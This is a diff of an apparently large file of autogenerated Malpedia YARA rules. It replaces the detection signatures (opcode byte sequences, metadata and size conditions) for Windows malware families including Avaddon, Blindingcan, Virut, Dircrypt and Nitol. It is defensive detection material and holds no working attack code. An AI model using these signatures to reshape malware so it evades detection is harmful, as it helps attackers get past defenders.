= { 4885c0 750a b9c8000000 e9???????? 4c8b6008 488b00 83b88c00000000 } + $sequence_7 = { ba04010000 488d8db0000000 e8???????? 418bcf 48890d???????? 488d3d5eae0300 488d1517b00300 } + $sequence_8 = { 4883fa10 480f431d???????? 4803d9 4d8bc6 498bd5 488bcb e8???????? } + $sequence_9 = { 482bc1 4883f801 721d 488d4101 488945d0 488d45c0 4883fa10 } condition: - 7 of them and filesize < 339968 + 7 of them and filesize < 581632 } -rule MALPEDIA_Win_Ceeloader_Auto : FILE +rule MALPEDIA_Win_Goldenspy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "33871f14-7cee-5da9-9ebd-8890978a4d51" + id = "9a246a47-ca73-52d5-9d24-1b989582e4ce" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceeloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ceeloader_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goldenspy_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "4d0387a20d12583a262adee6bbac65a30e624cee690a9f69b13de10eb064ad76" + logic_hash = "abc1cc932d348f65dac5bf1d4eeb448d62aaba8c9d68819a9d802639d61024c9" score = 75 quality = 75 tags = "FILE" @@ -98634,19 +98887,19 @@ rule MALPEDIA_Win_Ceeloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0bd3 3bce 8bf5 23fd 0bda 8bde 0bd3 } - $sequence_1 = { 48c744242000000000 e8???????? 89842438020000 488b8c2440020000 e8???????? c784249402000000000000 8944243c } - $sequence_2 = { 4883ec20 8bd9 4c8d0dc9f60700 b904000000 4c8d05b5f60700 488d15f6d80700 e8???????? } - $sequence_3 = { c7842424060000043b0000 c7842420060000660d0000 c784241c060000a2780000 c784241806000079050000 c784241406000042520000 c78424100600002b350000 c784240c06000015070000 } - $sequence_4 = { 89ca 2315???????? 8915???????? 0faf0d???????? 030d???????? 8b15???????? 448b05???????? } - $sequence_5 = { 83393f 0f837c030000 31c0 89c1 b820000000 89c2 41b800100000 } - $sequence_6 = { 89842444090000 8b842444090000 357a620000 89842488070000 c7842484070000d86c0000 c7842480070000e3710000 c784247c070000c1470000 } - $sequence_7 = { 448984242c010000 e9???????? 488b8424e8000000 488b00 8b8c24f0000000 } - $sequence_8 = { 89842400060000 8b8424dc0b0000 4189c1 4181e1ff010000 44898c242c0d0000 448b8c242c0d0000 41c1e106 } - $sequence_9 = { 898424800c0000 ff15???????? 89842488040000 8b8424780c0000 0b84247c0c0000 898424800c0000 8b8424800c0000 } + $sequence_0 = { 8b0cbd48b24700 c644112900 837dfc00 7507 } + $sequence_1 = { 8bce ff5010 eb2d 8b06 8bce ff501c eb24 } + $sequence_2 = { 8bc8 e8???????? 8d4de0 c645fc0c e8???????? } + $sequence_3 = { ff75bc 8bcf e8???????? 3bf3 0f85b4feffff b001 } + $sequence_4 = { 50 8bcb e8???????? ba01000000 eb0d } + $sequence_5 = { e8???????? 84c0 0f84d7000000 8b55c8 8d4dd8 e8???????? c745fc01000000 } + $sequence_6 = { 50 8bce c78588fdffff00000000 e8???????? 8b00 3b06 7507 } + $sequence_7 = { 51 0f434520 50 51 8d8dccfeffff e8???????? 837d1c10 } + $sequence_8 = { 8b08 2bd1 52 eb2b 8b8538ffffff a804 752d } + $sequence_9 = { 6a00 50 6802000080 ff15???????? 85c0 7557 } condition: - 7 of them and filesize < 2321408 + 7 of them and filesize < 1081344 } rule MALPEDIA_Win_Rising_Sun_Auto : FILE { @@ -98687,18 +98940,18 @@ rule MALPEDIA_Win_Rising_Sun_Auto : FILE condition: 7 of them and filesize < 409600 } -rule MALPEDIA_Win_Avaddon_Auto : FILE +rule MALPEDIA_Win_Blindingcan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0c31fafc-c10e-58b1-9fee-fb7be191e4b5" + id = "acf0a9ea-8e05-5582-9c4c-05db475e1e05" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avaddon_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blindingcan_auto.yar#L1-L169" license_url = "N/A" - logic_hash = "157dd793c1260894e97de0f6c4ec6c5a408218110364a6a1e7630b93b4914514" + logic_hash = "106ff295c55cb42cf4cd73966a6c4c30703711b6e069188fdbe10ead59c40c1a" score = 75 quality = 75 tags = "FILE" @@ -98712,32 +98965,38 @@ rule MALPEDIA_Win_Avaddon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c7459408020000 837f1410 c7459810660000 c7459c20000000 7202 8b3f 0f1007 } - $sequence_1 = { bf20000000 0f1f00 84db 7574 ff75fc 57 ff75f8 } - $sequence_2 = { 0f4345d0 51 50 8d45e8 50 ff15???????? 837de410 } - $sequence_3 = { 83c404 3dff000000 7607 b8ff000000 eb09 83c0ff 0f886f000000 } - $sequence_4 = { 8b4dcc 8b45d0 030e 83c018 8b75d4 8b55c0 46 } - $sequence_5 = { 0bc8 51 e8???????? 8bcf 83c404 47 8bf0 } - $sequence_6 = { 8b4e08 b8ffffff07 2bca 47 c1f905 8bd1 d1ea } - $sequence_7 = { c78524fdffff00000000 c78528fdffff0f000000 c68514fdffff00 898d2cfdffff 8a08 40 84c9 } - $sequence_8 = { 51 8b4df0 e8???????? 83c410 83f8ff 750e 8d4510 } - $sequence_9 = { e8???????? 83c408 33c0 c745ac00000000 6689459c 8b45e8 c745b007000000 } + $sequence_0 = { c745cc2932779f 66c745d0e35b c745d45df0da89 c745d87b772e76 c745dc62a9f6c4 c745e0d29c1f7b } + $sequence_1 = { a1???????? 33c5 8945fc 56 57 8d85f8f7ffff } + $sequence_2 = { 750a 8b30 89b495fcfeffff 42 83c00c 49 } + $sequence_3 = { c7857cfeffff36a54e6b c78580feffff5c01611e c78584feffffb5dcfc68 c78588feffff6ce7a33a c7858cfeffffafe2e55a c78590feffff74c31dff c78594feffff657f9183 } + $sequence_4 = { c78514fdffff7532479f c78518fdffffe35bc9c0 c7851cfdfffffc9c461f c78520fdffff9821ddfa c78524fdffff589a8f7a } + $sequence_5 = { c78554feffffa14b0c27 c78558feffff10c0aac6 c7855cfeffff489a8471 c78560feffff9cab4ad6 c78564feffff67cf2900 c78568feffff02dbaeb5 } + $sequence_6 = { 83c40c 85f6 741f 68???????? 68???????? 6a00 } + $sequence_7 = { c78504fdfffff79d6681 c78508fdffffbfa7f8a5 c7850cfdffffa0118db8 c78510fdffff4d3feb78 } + $sequence_8 = { 8bca e8???????? 85c0 7409 e8???????? } + $sequence_9 = { 99 f7fe 8bca e8???????? } + $sequence_10 = { b990190000 66394802 7574 488b35???????? 33d2 } + $sequence_11 = { 488bd3 ff15???????? 4c21642438 4c21642430 895c2428 83cbff } + $sequence_12 = { 4c8bc9 753b 0fb789a8040000 b8bb010000 ba00010000 } + $sequence_13 = { 488d4dd0 ff15???????? 488d55b8 488d4dd0 ff15???????? f20f102d???????? } + $sequence_14 = { 4533848410cb0100 4533451c 418bc0 c1e810 } + $sequence_15 = { 488bf8 483bc3 7423 448d4e81 448d4684 488d542440 } condition: - 7 of them and filesize < 2343936 + 7 of them and filesize < 363520 } -rule MALPEDIA_Win_Etumbot_Auto : FILE +rule MALPEDIA_Win_Virut_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c874e7f9-5803-51aa-bcc8-4faaaf0ce1ce" + id = "3fd5dd6e-824b-546b-b12a-268a3f416abf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.etumbot_auto.yar#L1-L358" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virut_auto.yar#L1-L167" license_url = "N/A" - logic_hash = "bab72b55d5937eff166f630a71bea6d6d650e72f44dc18db352baddef63ef002" + logic_hash = "de37b05635cd805b87d10763e231c25410e6442bea902a0aedfdfedcccb45534" score = 75 quality = 73 tags = "FILE" @@ -98751,114 +99010,38 @@ rule MALPEDIA_Win_Etumbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a00 02c2 0fb6c0 8a8405fcfeffff } - $sequence_1 = { 0fb6c0 8a8405fcfeffff 320437 8806 46 } - $sequence_2 = { c745b063726f73 c745b46f66745c c745b85c57696e c745bc646f7773 c745c05c5c4375 c745c47272656e } - $sequence_3 = { f7d1 23c1 42 4e 75df } - $sequence_4 = { 8d45f4 6820a10700 50 68???????? 68???????? } - $sequence_5 = { c745cc73696f6e c745d05c5c496e c745d47465726e c745d865742053 } - $sequence_6 = { 03c1 8bc8 81e1000000f0 7407 8bf9 } - $sequence_7 = { 7407 8bf9 c1ef18 33c7 f7d1 23c1 } - $sequence_8 = { c745d47465726e c745d865742053 c745dc65747469 c745e06e677300 } - $sequence_9 = { 53 56 57 8b3d???????? ffd7 8b7508 8bd8 } - $sequence_10 = { 57 0fbe38 33f6 33db } - $sequence_11 = { c745c47272656e c745c874566572 c745cc73696f6e c745d05c5c496e } - $sequence_12 = { ffd7 2bc3 3bc6 72ed 5f 5e } - $sequence_13 = { 8b45f4 0345f0 8b4d08 034dec 8a11 8810 } - $sequence_14 = { c645bf69 c645c062 c645c16c c645c265 c645c33b c645c420 c645c54d } - $sequence_15 = { 8b4d08 83c101 894d08 8b550c 83ea03 } - $sequence_16 = { 83c204 3b5514 7608 83c8ff } - $sequence_17 = { 80e10f c0e102 c0eb06 02cb } - $sequence_18 = { c644242c45 8854242f 884c2431 c644243273 88542434 } - $sequence_19 = { 83c404 8bd1 c1e902 f3ab 8bca } - $sequence_20 = { 6a00 68???????? 6a00 6a00 6a00 51 68???????? } - $sequence_21 = { e8???????? 8d45fc 50 8d85bcfeffff 50 e8???????? } - $sequence_22 = { 8b0c8d20cf4000 8a44c104 83e040 c3 56 8b742408 85f6 } - $sequence_23 = { b9ff000000 33c0 8dbda6fbffff f3ab } - $sequence_24 = { c645d673 c645d720 c645d84e c645d954 } - $sequence_25 = { 83c104 3b4d14 7608 83c8ff } - $sequence_26 = { 50 8d85c4eaffff 50 e8???????? 8d85ecfdffff } - $sequence_27 = { 59 50 8d8504ffffff e9???????? 6a18 } - $sequence_28 = { c645c33b c645c420 c645c54d c645c653 c645c749 c645c845 c645c920 } - $sequence_29 = { 8b4508 8365f800 898184110000 8d45f4 6a00 } - $sequence_30 = { 83c404 85c0 7429 8b442454 0fbe38 40 85ff } - $sequence_31 = { 89442428 f3ab 88542414 89542444 } - $sequence_32 = { c645d057 c645d169 c645d26e c645d364 } - $sequence_33 = { c645cd31 c645ce3b c645cf20 c645d057 c645d169 } - $sequence_34 = { 52 e8???????? 83c404 e9???????? 6a05 } - $sequence_35 = { c645fa74 c645fb2e c645fc64 c645fd6c } - $sequence_36 = { c645f569 c645f66e c645f769 c645f86e } - $sequence_37 = { 8b4df4 034df0 8b5508 0355ec } - $sequence_38 = { 50 8b4dbc 51 8b952ce6ffff 8b4210 ffd0 85c0 } - $sequence_39 = { c685dcefffff45 c685ddefffff20 c685deefffff35 c685dfefffff2e c685e0efffff30 } - - condition: - 7 of them and filesize < 450560 -} -rule MALPEDIA_Win_Soul_Auto : FILE -{ - meta: - description = "autogenerated rule brought to you by yara-signator" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9dd6236-3340-50b4-b5d0-39eff17887cc" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soul" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soul_auto.yar#L1-L235" - license_url = "N/A" - logic_hash = "006ca2db66b727a223c7e1c69f1643e1ec1c7be66a86b7b95f1d15a0130986f8" - score = 75 - quality = 73 - tags = "FILE" - version = "1" - tool = "yara-signator v0.6.0" - signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { d3e2 8515???????? 7405 e8???????? } - $sequence_1 = { 40 803800 75f8 c745fc00000000 90 56 ff15???????? } - $sequence_2 = { 57 8bf8 be???????? 743a 8da42400000000 } - $sequence_3 = { ff25???????? 48895c2408 4889742410 57 4883ec30 } - $sequence_4 = { 7cde c745fc00000000 8da42400000000 8b4df8 51 57 } - $sequence_5 = { 741f 8da42400000000 8b03 57 50 } - $sequence_6 = { 85f6 0f84a4000000 803f00 8bc7 } - $sequence_7 = { 85f6 7506 837dfc04 7cda } - $sequence_8 = { 7409 90 fe08 40 803800 } - $sequence_9 = { 83c404 33f6 897304 8b4304 } - $sequence_10 = { eb22 e8???????? 488b4c2420 ffd0 90 48837c245008 } - $sequence_11 = { c744243a66003600 66448974243e 488d1d4ad10100 488bc3 488d7c2448 482bfb 0fb710 } - $sequence_12 = { ffc7 4883c202 413bf8 72db 8bce 85f6 743c } - $sequence_13 = { 7507 c743089a020000 85c0 0f84be010000 83f802 0f84b5010000 83f801 } - $sequence_14 = { 741a 488d05f9ef0000 483bf8 740e 833f00 } - $sequence_15 = { 4c8bf1 b801000000 85ff 7404 8932 eb06 8bf8 } - $sequence_16 = { c745c047006c00 c745c662006100 c745ca6c005c00 668945ec c745ce43006100 c745d468006500 } - $sequence_17 = { 442bda 4183fb0f 731e 0fb606 418bcb 4883c602 } - $sequence_18 = { e8???????? 41894620 458bef 418bff 41c74608373f0000 eb05 } - $sequence_19 = { 488b4593 89442448 8bc8 e8???????? 488bf0 33c0 8945c7 } - $sequence_20 = { 4883eb02 4983c9ff ebae 488d45ef 4c8b4507 4983f808 490f43c4 } - $sequence_21 = { eb2e 4c8b542418 33ed 0f1f840000000000 420fb60411 48ffc1 } - $sequence_22 = { 488d1dc7850000 488d3de0850000 eb0e 488b03 4885c0 7402 } + $sequence_0 = { 83c40c ab ab 8d442430 50 } + $sequence_1 = { e9???????? 8dbec8000000 0fb74e1e 8d74311f 6804010000 57 } + $sequence_2 = { 3bf1 7ce5 8b442414 6a03 } + $sequence_3 = { 6804010000 ff15???????? 8d8424c8000000 50 } + $sequence_4 = { 53 6a05 8bcc 50 } + $sequence_5 = { 50 ff15???????? 3bc3 0f8484020000 8b400c } + $sequence_6 = { 03f9 57 52 6a18 } + $sequence_7 = { 54 51 50 52 51 51 } + $sequence_8 = { 85c0 7416 e314 50 8bd4 6a00 } + $sequence_9 = { 85c0 7d04 33c0 eb63 ff750c } + $sequence_10 = { 8d8424dc020000 50 33db 53 ff15???????? 8b35???????? 53 } + $sequence_11 = { 6a00 8bcc 6a40 6800001000 } + $sequence_12 = { 6a00 6800000008 6a40 51 52 6a0e 50 } + $sequence_13 = { 83e003 40 50 8d442428 50 8d8424e0020000 } + $sequence_14 = { 3b44240c 8d8c1139300000 894c2414 7cdc 53 8d442410 } + $sequence_15 = { 8bd4 50 54 6a40 51 52 } condition: - 7 of them and filesize < 1400832 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Pandora_Auto : FILE +rule MALPEDIA_Win_Unidentified_001_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "03d00108-515b-5000-bfce-e0864b2e89ce" + id = "f3b6be6e-c236-5d2d-a19b-afb6b895b93e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pandora_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_001_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "a88747b8869f7f515751ff70f3553c380e5110ab9369144ac753a62c000a1cae" + logic_hash = "499ec49f978d7f898a74204c78a47d7ff968e3be0856c4a113e03a1aece4ce50" score = 75 quality = 75 tags = "FILE" @@ -98872,32 +99055,32 @@ rule MALPEDIA_Win_Pandora_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41ffc7 83f81e 0f8f88030000 4885ff 7418 488d47ff 498d04c6 } - $sequence_1 = { 7424 838da400000010 448d4710 4c8b0d???????? 488d4c2430 33d2 41ffd1 } - $sequence_2 = { 48897c2418 4156 4883ec20 33ff 4533f6 4863df 488d0d88040300 } - $sequence_3 = { 415e c3 48895c2408 4889742410 57 4883ec20 4c8b5108 } - $sequence_4 = { 4c8d45b0 488d55c8 e8???????? 8bd8 85c0 7524 f7de } - $sequence_5 = { 8bcf 44335014 c1e918 0fb6d1 8bce } - $sequence_6 = { 498b06 4885c0 0f8432020000 8b4008 ffc8 83f806 0f8724020000 } - $sequence_7 = { 488b05???????? 33d2 498bcc ffd0 4c8b642460 4c8b742448 488b7c2440 } - $sequence_8 = { 0bc8 0fb64238 c1e108 0bc8 0fb6423e 440bd0 894c2440 } - $sequence_9 = { 4503d3 418bc6 23c6 41c1c60a 0bf8 4181c34efd53a9 81c7e9766d7a } + $sequence_0 = { 741c 83e80a 0f84c6fcffff 2def000000 } + $sequence_1 = { 6830750000 ffd6 8b4df8 85c9 7483 8d45fc } + $sequence_2 = { 85c9 0f84dafdffff e8???????? 85c0 0f85f3000000 } + $sequence_3 = { 8b06 8d4dfc 51 56 ff5028 85c0 7d0c } + $sequence_4 = { 895824 895808 c7401c06000000 47 } + $sequence_5 = { 2d0a020000 0f84a2faffff 2d02020000 e9???????? c705????????0d000000 } + $sequence_6 = { 8b4508 83e103 f3a4 8bd0 668b08 } + $sequence_7 = { 0f8468feffff 3d4b475a00 0f845dfeffff 3d4d4f5a00 0f8507f9ffff 8325????????00 e9???????? } + $sequence_8 = { 2df9070000 0f8437010000 2d01010000 0f84e2050000 2df3010000 7420 } + $sequence_9 = { 3d54484100 7416 3d414c4100 753b c705????????09000000 e9???????? } condition: - 7 of them and filesize < 1032192 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Pittytiger_Rat_Auto : FILE +rule MALPEDIA_Win_Dircrypt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4a10640a-725b-54f9-8b7f-afdce80ef3e7" + id = "c9519422-995e-5f4b-95b5-a3519aa7df7b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pittytiger_rat_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dircrypt_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "1df7687d7c472496ea30aa086a3178f66e3b2104d4ea79dc045c4e3023b998ae" + logic_hash = "97e8d29d80833d84634b7be7e527266210c621226e2be34c9aa4ca8405333cc4" score = 75 quality = 75 tags = "FILE" @@ -98911,32 +99094,32 @@ rule MALPEDIA_Win_Pittytiger_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ffd7 83c410 8d8558f9ffff 50 ff15???????? 50 } - $sequence_1 = { 33db f3ab ff7508 895dfc 66ab aa } - $sequence_2 = { e8???????? 83c428 8d85e0fdffff 50 8b46f8 ff760c c1e005 } - $sequence_3 = { 8d85f8fbffff ffb69c010000 68???????? 50 ffd7 } - $sequence_4 = { 8b1d???????? 59 59 56 ffd3 57 } - $sequence_5 = { 3bc3 a3???????? 0f84f2fdffff 8d45b8 c745c441786100 50 57 } - $sequence_6 = { 56 56 ff15???????? 3bc6 8945f4 0f84bc000000 } - $sequence_7 = { 51 53 56 57 33db bf80000000 53 } - $sequence_8 = { e8???????? 85c0 0f85e2020000 85f6 } - $sequence_9 = { ff750c ff7508 e8???????? 83c420 43 } + $sequence_0 = { 50 e8???????? 6a00 e8???????? 05d6070000 50 } + $sequence_1 = { e8???????? 03f0 8d45dc 50 e8???????? } + $sequence_2 = { e8???????? 05d3070000 50 6a01 } + $sequence_3 = { 833d????????00 751a 68???????? e8???????? 05d2070000 50 e8???????? } + $sequence_4 = { 751a 68???????? e8???????? 05d2070000 50 } + $sequence_5 = { 833d????????00 7514 c705????????01000000 e8???????? } + $sequence_6 = { c705????????01000000 e8???????? e8???????? 833d????????00 7514 } + $sequence_7 = { 6801000080 e8???????? e8???????? e8???????? e8???????? } + $sequence_8 = { 05d2070000 50 e8???????? a3???????? 6a13 68???????? } + $sequence_9 = { 833d????????00 7536 c705????????01000000 e8???????? } condition: - 7 of them and filesize < 2162688 + 7 of them and filesize < 671744 } -rule MALPEDIA_Win_Lowkey_Auto : FILE +rule MALPEDIA_Win_Heyoka_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3f77a0d8-5e74-59a7-b36b-5b8da053f1d8" + id = "374fa72e-9fa9-57de-876f-40244ff261b7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowkey_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heyoka" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heyoka_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "d5431f0409ef1f2ee256c5cdc4b5f0e543f06b3c2bf47f27531adb7ea173b9db" + logic_hash = "3a5efb9930b3bae06b8a8e2c4e2b028b7e1db66cce7d680b56a42e4a7b874053" score = 75 quality = 75 tags = "FILE" @@ -98950,32 +99133,32 @@ rule MALPEDIA_Win_Lowkey_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8bf2 488d8d70010000 33d2 41b800020000 e8???????? } - $sequence_1 = { 83bb7004000002 0f848d010000 83cfff 488d2db7310100 83635000 83632c00 e9???????? } - $sequence_2 = { 498bc2 458bf1 48c1f806 488d0df41e0300 4183e23f 4d03f0 } - $sequence_3 = { 3b15???????? 7350 488bca 4c8d05c9230300 83e13f 488bc2 } - $sequence_4 = { 48898424d0000000 4533c0 488b4708 488bd5 48898424e0000000 } - $sequence_5 = { 488b0d???????? 488b5210 488b8900040000 ff15???????? 488b15???????? 4533c0 } - $sequence_6 = { 85c0 0f94c3 8bc3 488b4c2478 } - $sequence_7 = { 33d2 488bc8 ff15???????? 488d1556260200 } - $sequence_8 = { 488bcf e8???????? 488d4df7 e8???????? 488d155cfd0100 488d4df7 e8???????? } - $sequence_9 = { 488d15c10d0200 4533c0 48895c2420 488b01 ff5020 488b4c2450 4c8d4de8 } + $sequence_0 = { e8???????? ff15???????? b801000000 5d c3 55 8bec } + $sequence_1 = { 8b5118 895018 a1???????? 8b4dfc 894818 8b55fc 8915???????? } + $sequence_2 = { 0345f8 8a4df1 8848ff 8b55f8 3b550c 7c02 eb02 } + $sequence_3 = { 8bec 8b4508 33c9 8a480c 51 8b5508 83c20d } + $sequence_4 = { 8b45ec 8945f4 8b4df7 81e1ff000000 51 8b55f6 81e2ff000000 } + $sequence_5 = { 8b0d???????? 894df8 683f420f00 6a00 8b15???????? 52 e8???????? } + $sequence_6 = { 8bec 81ec18040000 57 c685f0fbffff00 b9ff000000 33c0 8dbdf1fbffff } + $sequence_7 = { 8bc3 885d0b c1e808 88450a 0fb6c0 f68061d7011004 } + $sequence_8 = { 8b7508 8b06 8945c0 3bc3 7545 8d45c0 50 } + $sequence_9 = { 8b5590 83c201 895590 8b4590 3b4510 0f87ab000000 8b4d0c } condition: - 7 of them and filesize < 643072 + 7 of them and filesize < 270336 } -rule MALPEDIA_Win_Slickshoes_Auto : FILE +rule MALPEDIA_Win_Nitol_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ad79f63d-1e65-5f60-a723-157797029623" + id = "6668ada1-f01c-572c-b281-f0ac4f640b75" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slickshoes" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slickshoes_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitol_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "d52c38b22f881790a505e094420c171449849a1fa94bb94b87565ae649a918cb" + logic_hash = "67d30b435253ce01a4470efa2d653d5ffbe45043e37cc62d200042e270ffc2b7" score = 75 quality = 75 tags = "FILE" @@ -98989,32 +99172,32 @@ rule MALPEDIA_Win_Slickshoes_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff3424 5b 81c404000000 31ca 59 e9???????? 5e } - $sequence_1 = { ff742404 5b 8f0424 e9???????? 871424 8b2424 e9???????? } - $sequence_2 = { e9???????? 890424 e9???????? 8b1c24 81c404000000 01d6 e9???????? } - $sequence_3 = { e9???????? 5c 81c5aae2bb7f 8b1424 56 e9???????? 58 } - $sequence_4 = { fc 5d e5b4 d070d3 ac 4d f3b694 } - $sequence_5 = { 8a12 be00020000 81c61f000000 0017 81ee40000000 89ef b90a000000 } - $sequence_6 = { ff3424 ff3424 e9???????? 55 bda9d61ffa 29e8 5d } - $sequence_7 = { ff3424 5b 51 890424 89e0 83ec04 893c24 } - $sequence_8 = { e9???????? 52 ba3c0d7e47 e9???????? 59 83ec04 891424 } - $sequence_9 = { e9???????? 5d 83c104 870c24 8b2424 e9???????? 81ec04000000 } + $sequence_0 = { 8d8554ffffff 50 e8???????? 83c420 bffa000000 } + $sequence_1 = { 8945e4 51 ff75ec 50 ff7508 ff15???????? } + $sequence_2 = { 57 ffd3 45 3bae08010000 7cd6 57 } + $sequence_3 = { 896c2434 8d442434 6a04 bd05100000 50 55 } + $sequence_4 = { 55 8bec 81ec20020000 c645e0cf c645e185 c645e2cc c645e3c4 } + $sequence_5 = { 5b 55 8bec 81ec18050000 56 } + $sequence_6 = { 50 e8???????? 83c424 8d8560ffffff 66c745f00200 50 ff15???????? } + $sequence_7 = { ff15???????? 85c0 7d16 ff742404 } + $sequence_8 = { ffd6 ffb530ffffff 668945d8 ffd6 6800e9a435 } + $sequence_9 = { 8a0c3b 880e 46 43 ebf3 43 40 } condition: - 7 of them and filesize < 11198464 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Leouncia_Auto : FILE +rule MALPEDIA_Win_Thunker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a9724346-fb9d-57ad-b542-cb221faaaa09" + id = "c02652c6-959e-5488-b341-ccfb73521f28" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.leouncia_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thunker_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "82ead8ce3a400451ff3f5916535aebe7ef2cee2e7927624a2fdf32a62ced8582" + logic_hash = "8683a109f273456a365b0d0365e46b8d3a1cb330ad7cb852c208d9e170093c6d" score = 75 quality = 75 tags = "FILE" @@ -99028,32 +99211,32 @@ rule MALPEDIA_Win_Leouncia_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 c644141800 ff15???????? 85c0 7512 ff15???????? 83f805 } - $sequence_1 = { 3bf3 7519 8b35???????? 55 } - $sequence_2 = { 895c2464 ff15???????? 85c0 7520 } - $sequence_3 = { 8dbc247c040000 2bd6 8bca 89542418 8be9 c1e902 f3a5 } - $sequence_4 = { 7505 c6440c2820 41 3bc8 7cee 8b842434050000 56 } - $sequence_5 = { 50 e8???????? 8d4c2424 51 e8???????? 8b2d???????? 83c410 } - $sequence_6 = { e8???????? 8b4c2420 83c40c 889c0c14010000 } - $sequence_7 = { 8d542440 8d442450 8d8c24b4040000 52 } - $sequence_8 = { 8b0f 52 50 51 6a00 ff15???????? } - 